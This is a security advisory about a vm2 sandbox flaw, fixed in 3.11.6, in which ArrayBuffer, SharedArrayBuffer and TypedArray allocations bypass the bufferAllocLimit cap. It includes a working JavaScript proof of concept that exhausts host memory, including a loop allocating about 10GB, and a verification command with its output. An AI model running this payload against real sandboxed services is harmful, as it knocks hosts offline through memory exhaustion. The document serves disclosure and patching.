vm2 before 3.11.6 Memory Exhaustion DoS via bufferAllocLimit Bypass

vm2 before 3.11.6 fails to enforce bufferAllocLimit on ArrayBuffer, SharedArrayBuffer, and TypedArray constructors, allowing attackers to allocate arbitrary host memory. Attackers can bypass the buffer allocation cap by using these V8 intrinsics to exhaust host process memory and trigger out-of-memory conditions.

vm2 before 3.11.6 fails to enforce bufferAllocLimit on ArrayBuffer, SharedArrayBuffer, and TypedArray constructors, allowing attackers to allocate arbitrary host memory. Attackers can bypass the buffer allocation cap by using these V8 intrinsics to exhaust host process memory and trigger out-of-memory conditions.

vm2 before 3.11.6 fails to enforce bufferAllocLimit on ArrayBuffer, SharedArrayBuffer, and TypedArray constructors, allowing attackers to allocate arbitrary host memory. Attackers can bypass the buffer allocation cap by using these V8 intrinsics to exhaust host process memory and trigger out-of-memory conditions.

### Summary: The `bufferAllocLimit` defense (GHSA-6785-pvv7-mvg7) can be completely bypassed using `ArrayBuffer`, `SharedArrayBuffer`, or any `TypedArray` constructor. These allocate identical host-process RSS through the same V8/libuv C++ allocation path as `Buffer.alloc` but are not subject to the size cap. ### Details: The `bufferAllocLimit` option (vm2 v3.11.0+) caps `Buffer.alloc`, `Buffer.allocUnsafe`, `Buffer.allocUnsafeSlow`, and the deprecated `Buffer(N)` / `new Buffer(N)` forms. The cap is enforced in `setup-sandbox.js` via `checkBufferAllocLimit()` (line 353-359). However, `ArrayBuffer`, `SharedArrayBuffer`, `Uint8Array`, `Float64Array`, and all other TypedArray constructors are sandbox-realm V8 intrinsics that allocate host memory through the SAME underlying C++ path (`v8::ArrayBuffer::NewBackingStore` → `ArrayBufferAllocator::Allocate` → `calloc/malloc`). These constructors are NOT intercepted by the `bufferAllocLimit` defense. A single `new ArrayBuffer(N)` call with a large `N` exhausts host RSS in one synchronous allocation that V8's `timeout` cannot interrupt. ### Environment: - vm2 version: 3.11.3 - Node.js: v25.8.1 (affects all Node.js versions) - Configuration: Default `new VM()` or any configuration including `bufferAllocLimit` ### POC: ```javascript const { VM } = require('vm2'); // Operator sets bufferAllocLimit thinking they're protected: const vm = new VM({ bufferAllocLimit: 10 * 1024 * 1024 }); // 10MB cap // Buffer.alloc IS capped (as intended): try { vm.run('Buffer.alloc(20 * 1024 * 1024)'); } catch(e) { console.log('Buffer.alloc blocked:', e.message); } // → "Buffer allocation size 20971520 exceeds bufferAllocLimit 10485760" // But these BYPASS the cap entirely: vm.run('new ArrayBuffer(1024 * 1024 * 1024)'); // 1GB allocated! vm.run('new SharedArrayBuffer(1024 * 1024 * 1024)'); // 1GB allocated! vm.run('new Uint8Array(1024 * 1024 * 1024)'); // 1GB allocated! vm.run('new Float64Array(128 * 1024 * 1024)'); // 1GB allocated! // OOM kill in constrained environments (Docker, K8s, Lambda): vm.run('var a=[]; for(var i=0;i<100;i++) a.push(new ArrayBuffer(100*1024*1024))'); // → 10GB allocated → host OOM killed ``` **Verification:** ```bash node -e ' const {VM} = require("./lib/main.js"); const vm = new VM({bufferAllocLimit: 10*1024*1024}); try { vm.run("Buffer.alloc(20*1024*1024)"); } catch(e) { console.log("Buffer BLOCKED"); } console.log("ArrayBuffer:", vm.run("new ArrayBuffer(100*1024*1024).byteLength"), "bytes allocated"); console.log("SharedArrayBuffer:", vm.run("new SharedArrayBuffer(100*1024*1024).byteLength"), "bytes allocated"); ' # Output: # Buffer BLOCKED # ArrayBuffer: 104857600 bytes allocated # SharedArrayBuffer: 104857600 bytes allocated ``` ### Impact: - **Type:** Denial of Service (Host Memory Exhaustion) - **Attack Complexity:** Low - **Availability Impact:** Complete, host process OOM killed in memory-constrained environments - **Affected deployments:** Docker containers, Kubernetes pods, AWS Lambda, any environment with memory limits. Especially dangerous when operators explicitly set `bufferAllocLimit` believing they have DoS protection.